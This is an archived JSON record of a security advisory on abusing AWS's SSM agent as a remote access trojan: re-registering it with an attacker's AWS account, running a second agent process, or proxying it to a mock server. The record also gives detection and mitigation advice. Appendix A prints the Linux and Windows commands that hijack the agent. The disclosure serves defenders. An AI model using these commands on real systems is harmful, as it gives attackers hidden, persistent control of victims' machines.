{
	"id": "8e92e9ca-2ba6-4667-8580-b7fe258e64d0",
	"created_at": "2026-04-06T00:10:54.984599Z",
	"updated_at": "2026-04-10T03:21:12.398911Z",
	"deleted_at": null,
	"sha1_hash": "873149cc232b6af15c032ee8974f451d7c750a34",
	"title": "Mitiga Security Advisory: Abusing the SSM Agent as a Remote Access Trojan",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 505871,
	"plain_text": "Mitiga Security Advisory: Abusing the SSM Agent as a Remote\r\nAccess Trojan\r\nBy By Ariel SzarfOr AspirText Link\r\nPublished: 2026-03-05 · Archived: 2026-04-05 21:36:08 UTC\r\nOverview\r\nMitiga has discovered a new potential post-exploitation technique in AWS (Amazon Web Services): running\r\nAWS’s Systems Manager (SSM) agent as a Remote Access Trojan (RAT) on both Linux and Windows machines,\r\ncontrolling the endpoint using another AWS account. We’re sharing this advisory to raise awareness about this\r\nnew way of abusing the SSM agent that our team developed during our ongoing research in cloud and SaaS\r\n(Software as a Service) attacks and forensics.\r\nThe concept is straightforward: the SSM agent, a legitimate tool used by admins to manage their instances, can be\r\nre-purposed by an attacker who has achieved high privilege access on an endpoint with SSM agent installed, to\r\ncarry out malicious activities on an ongoing basis. This allows an attacker who has compromised a machine,\r\nhosted on AWS or anywhere else, to maintain access to it and perform various malicious activities. Unlike using\r\ncommon malware types, which are often flagged by antivirus software, using SSM agent in this malicious manner\r\nallows the attacker to benefit from the reputation and legitimacy of this binary to cover his tracks.\r\nThe Benefits Attackers Gain by Using the SSM Agent as a RAT\r\n1. The SSM agent binary is signed by Amazon, initially considered trusted and approved software by\r\nAntivirus (AV) and Endpoint Detection \u0026 Response (EDR) solutions. Consequently, the execution of the\r\nSSM agent as a RAT may occur without triggering immediate alarms or alerts, evading initial detection.\r\n2. Elimination of the need to upload and execute new Remote Access Trojan (RAT) binaries, which may\r\ntrigger AV and EDR products. The SSM agent is already installed on the endpoint.\r\n3. Adversaries can use their own malicious AWS account as a Command and Control (C\u0026C) server, enabling\r\nthem to control the compromised SSM agent. This allows their communication to appear legitimate,\r\nmaking it harder to detect their activities.\r\n4. No code needed for developing the attack infrastructure. You depend solely on the SSM service and agent.\r\n5. The SSM agent offers supported features like \"RunCommand\" or \"StartSession,\" providing attackers with\r\neffortless control over the compromised endpoint from the attacker AWS account. These features allow\r\nthem to manipulate the endpoint in any desired manner, granting them broad control over its operations.\r\n6. The SSM agent binary has gained substantial popularity due to its widespread installation and active use in\r\ndefault Amazon Machine Images (AMIs) within the AWS ecosystem. This prevalence increases the\r\npotential attack surface and provides a larger pool of potential targets for adversaries.\r\nThe Problem—or How Attackers Can Abuse the SSM Agent\r\nhttps://www.mitiga.io/blog/mitiga-security-advisory-abusing-the-ssm-agent-as-a-remote-access-trojan\r\nPage 1 of 7\n\nIn our research, we focused on the ability of an SSM agent to run not only on Amazon Elastic Compute Cloud\r\n(EC2) instances, but also on non-EC2 machine types (Servers on your own premises and Virtual machines aka\r\nVMs, including VMs in other cloud environments). We abused this feature by registering an SSM agent to run in\r\n“hybrid” mode even if the agent runs on an EC2 instance.\r\nUsing a couple of simple bash commands, the SSM agent can communicate and execute commands from different\r\nAWS accounts than the original AWS account where the EC2 instance is hosted. Through these actions, we also\r\nobtained the ability to run more than one SSM agent process in one endpoint, making our rouge agent process to\r\nwork with our AWS account while the other process to continue working with the original AWS account without\r\nany interference.\r\nFurthermore, by abusing the SSM proxy feature, we managed to make the SSM agent communicate with a non-AWS account endpoint, allowing an attacker to control an SSM agent in a way that does not rely on any AWS\r\ninfrastructure other that a network path to the substitute endpoint.\r\nExploitation\r\nScenario 1 – Hijacking the SSM agent\r\nIn this scenario, the attack is “hijacking” the original SSM agent process by registering the SSM agent to work in\r\n“hybrid” mode with a different AWS account, enforcing it to not choose the metadata server for identity\r\nconsumption (Appendix A). Then, the SSM agent will communicate and execute commands from attacker the\r\nowned AWS account.\r\nAffected Systems \r\nLinux and Windows machines that have an active SSM agent installed are susceptible to this attack.\r\nAccess Level\r\nThe threat actor must be able to run as root on the targeted Linux machine, or as administrator on the targeted\r\nWindows system.\r\nBenefits\r\n1. Hard to detect locally – After hijacking the SSM agent, it is very difficult for any software running on the\r\nhost (such as antivirus software) to detect that the SSM agent is doing something malicious in the endpoint.\r\nAs it continues to run as a legitimate SSM agent.\r\n2. The SSM agent runs as root – In this scenario the SSM agent runs as root which gives the attacker\r\nunrestricted access to all system resources.\r\n3. Persistence – The SSM agent is configured through the file system to run in hybrid mode in a persistent\r\nmanner, meaning it will connect to the malicious C\u0026C even after a reboot of the host.\r\nDrawbacks\r\n1. Potentially suspicious on the AWS side- After the SSM agent gets hijacked, the agent is no longer\r\nreporting back to the System Manager service as active and reachable on the victim’s AWS account. which\r\nhttps://www.mitiga.io/blog/mitiga-security-advisory-abusing-the-ssm-agent-as-a-remote-access-trojan\r\nPage 2 of 7\n\nshould raise suspicion.\r\n2. High privileges required - To register the SSM agent successfully, the attacker would need to run with\r\nroot privileges, which is not easily attainable through exploit abuse.\r\nScenario 2 – Running Another SSM Agent Process\r\nIn this scenario, the threat actor runs another SSM agent process, which normally will not run if it finds another\r\nSSM agent process already running. The malicious agent process communicates with the attacker’s AWS account,\r\nleaving the original SSM agent to continue communicating with the original AWS account.\r\nThis is achievable in Linux platform using Linux namespaces (Appendix B). The malicious SSM agent process\r\nallows the attacker to use the “Run Command” feature. Another case is to run the agent in “container” mode\r\nwhich allows the attacker to use the “Start Session” feature via AWS CLI (Appendix C).\r\nOn Windows platforms, we run another SSM agent process by setting environment variables for the malicious\r\nagent process (Appendix D), allowing the attacker to use the “Run Command” feature.\r\nAffected Systems\r\nLinux and Windows machines that have an active SSM agent installed are susceptible to this post exploitation\r\npersistence mechanism.\r\nAccess Level\r\nAt least one of the following permissions is crucial for a successful attack:\r\nThe threat actor must be able run as at least non-root privileged user on the targeted Linux machine, or as\r\nadministrator on the targeted Windows system. One way to achieve this is by using System Manager itself in the\r\ncase where the attacker has privileges within the victim AWS to use the SSM service to interact with the EC2\r\ninstances.\r\nBenefits\r\n1. Less Permissions needed - No need for root permissions to run another agent process (in second\r\nimplementation for Linux server).\r\n2. Without impact in the victim AWS account - There is no impact on the original agent.\r\nDrawbacks\r\n1. Easier to detect on the endpoint - The malicious agent runs in a separate process tree, making it easier to\r\ndistinguish its execution from that of the original agent process.\r\n2. Agent persistence - The responsibility of ensuring agent persistence lies solely with the attacker.\r\nUsing Mock Server Instead of AWS Account to Manage the SSM Agent\r\nFor several reasons, threat actor may prefer not using AWS account to manage the agents. They may prefer to\r\nhttps://www.mitiga.io/blog/mitiga-security-advisory-abusing-the-ssm-agent-as-a-remote-access-trojan\r\nPage 3 of 7\n\ngenerate network traffic to their chosen IP rather than AWS visibility on their C\u0026C because concrete risk\r\nmanagement for any campaign. \r\nDuring our research, we noticed that an SSM feature that can be abused in order to route the SSM traffic to an\r\nattacker-controlled server, allowing the usage of the legitimate binary without the traffic ever going through\r\nAWS’s servers. This feature is using proxy to the server by changing the environment variables – ‘http_proxy’ and\r\n‘https_proxy’.\r\nBased on this finding, research was published in January 2021 (https://frichetten.com/blog/ssm-agent-tomfoolery/)\r\nand the public source code of the agent (https://github.com/aws/amazon-ssm-agent), we wrote a simple mock\r\nserver for “Run Command” feature.\r\nDetection\r\nIn the first scenario, the hijack technique, you can monitor the instance data changing. When an agent is\r\nregistered, it gets a new instance ID. \r\nThe details are in a new directory, in Linux in “/var/lib/amazon/ssm/i-*****************”, and in windows in\r\n“C:\\ProgramData\\Amazon\\SSM\\InstanceData\\i-*****************”. After the hijack, if you see more than\r\none directory with a different instance name than the original instance ID, it is suspicious. Also, monitoring\r\nbash/cmd commands or CreateProcess for running “amazon-ssm-agent\" binary with the flags: “register”, “code”,\r\n“id”, and “region”. You can detect the “hijack” execution. Moreover, in the AWS account you can see the\r\nconnection to this agent is lost. \r\nFor the second scenario, you can detect if there is more than one process: “amazon-ssm-agent\". You should have\r\njust one instance at the same time. If there are two or more, it's also suspect.\r\nFor both attack scenarios, if the attack is performed from the AWS account (by start session, run command, or any\r\nother technique to run code on EC2 from the AWS account) you should see suspicious actions that related to\r\nSessions Manager in CloudTrail logs.\r\nRecommendations\r\n1. If the SSM agent was added to the allow list in your AV or EDR solutions, it is strongly recommended to\r\nreconsider this decision. Given the potential compromise of the SSM agent as discussed, relying solely on the\r\nallow list is no longer reliable. Therefore, it is advisable to remove the SSM binaries from the allow list. By doing\r\nso, you enable your EDR solution to thoroughly examine and analyze the behavior of these processes, actively\r\nsearching for any indications of malicious activity or suspicious anomality.\r\n2. To effectively detect and respond to this malicious action, we recommend following the detection techniques\r\nmentioned earlier and integrating them into your SIEM (Security Information and Event Management) and SOAR\r\n(Security Orchestration, Automation, and Response) platforms. By implementing these detections, you enhance\r\nyour capabilities to proactively hunt for and identify instances of this threat.\r\n3. AWS security team offered a solution to restrict the receipt of commands from the original AWS\r\naccount/organization using the VPC (Virtual Private Cloud) endpoint for Systems Manager\r\nhttps://www.mitiga.io/blog/mitiga-security-advisory-abusing-the-ssm-agent-as-a-remote-access-trojan\r\nPage 4 of 7\n\n(https://docs.aws.amazon.com/systems-manager/latest/userguide/setup-create-vpc.html). If your EC2 instances are\r\nin a private subnet without access to the public network via a public EIP address or NAT gateway, you can still\r\nconfigure the System Manager service through a VPC endpoint. By doing so, you can ensure that the EC2\r\ninstances only respond to commands originating from principals within their original AWS account or\r\norganization. To implement this restriction effectively, refer to the VPC Endpoint policy documentation\r\n(https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html).\r\nSummary\r\nMitiga's research discovered a significant new post-exploitation security concept: involving the use of Systems\r\nManager (SSM) agent as a Remote Access Trojan (RAT) on Linux and Windows machines, controlling them using\r\nanother AWS account. We shared our research with the AWS security team and included some of their feedback to\r\nthis advisory. This advisory was created to raise awareness about the threat and its potential impact on endpoint\r\nsecurity. the benefits of using SSM agent as a RAT, such as leveraging existing binaries, utilizing a malicious\r\nAWS account for C\u0026C, and exploiting the agent's features, present serious risks to endpoint security. The\r\nwidespread popularity and initial trust associated with the SSM agent further amplify the need for organizations to\r\ntake immediate action to mitigate this new technique.\r\nBy understanding the risks and implementing proper security measures, businesses can fortify their\r\ndefenses and protect their systems from this evolving threat.\r\nReferences\r\nAWS Systems Manager documentation: https://aws.amazon.com/systems-manager/\r\nSSM Agent documentation: https://docs.aws.amazon.com/systems-manager/latest/userguide/ssm-agent.html\r\nSupported operating systems and machine types: https://docs.aws.amazon.com/systems-manager/latest/userguide/operating-systems-and-machine-types.html\r\nAMI with preinstalled SSM agent: https://docs.aws.amazon.com/systems-manager/latest/userguide/ami-preinstalled-agent.html\r\nInstall SSM agent for a hybrid mode: https://docs.aws.amazon.com/systems-manager/latest/userguide/systems-manager-managedinstances.html\r\nAppendix A – Hijacking the original SSM agent\r\nIn Linux (shell command):\r\nsudo systemctl stop amazon-ssm-agent \u0026\u0026 echo \"yes\" | sudo amazon-ssm-agent -register -code\r\n\u003cACTIVATION_CODE\u003e -id \u003cACTIVATION_ID\u003e -region \u003cREGION\u003e \u0026\u0026 sudo systemctl start amazon-ssm-agent\r\nIn windows (cmd command):\r\n'yes' | \u0026 'C:\\Program Files\\Amazon\\SSM\\amazon-ssm-agent.exe' -register -code \u003cACTIVATION_CODE\u003e -id\r\n\u003cACTIVATION_ID\u003e -region \u003cREGION\u003e; Restart-Service AmazonSSMAgent\r\nhttps://www.mitiga.io/blog/mitiga-security-advisory-abusing-the-ssm-agent-as-a-remote-access-trojan\r\nPage 5 of 7\n\nAppendix B – Linux Server root agent that enables “Run Command”\r\nAppendix C – Linux Server non-root agent that enables “Start Session”\r\nhttps://www.mitiga.io/blog/mitiga-security-advisory-abusing-the-ssm-agent-as-a-remote-access-trojan\r\nPage 6 of 7\n\nAppendix D – Windows Server agent that enables “Run Command”\r\nIn CMD Window (after successful RDP):\r\nSource: https://www.mitiga.io/blog/mitiga-security-advisory-abusing-the-ssm-agent-as-a-remote-access-trojan\r\nhttps://www.mitiga.io/blog/mitiga-security-advisory-abusing-the-ssm-agent-as-a-remote-access-trojan\r\nPage 7 of 7",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"references": [
		"https://www.mitiga.io/blog/mitiga-security-advisory-abusing-the-ssm-agent-as-a-remote-access-trojan"
	],
	"report_names": [
		"mitiga-security-advisory-abusing-the-ssm-agent-as-a-remote-access-trojan"
	],
	"threat_actors": [],
	"ts_created_at": 1775434254,
	"ts_updated_at": 1775791272,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/873149cc232b6af15c032ee8974f451d7c750a34.pdf",
		"text": "https://archive.orkl.eu/873149cc232b6af15c032ee8974f451d7c750a34.txt",
		"img": "https://archive.orkl.eu/873149cc232b6af15c032ee8974f451d7c750a34.jpg"
	}
}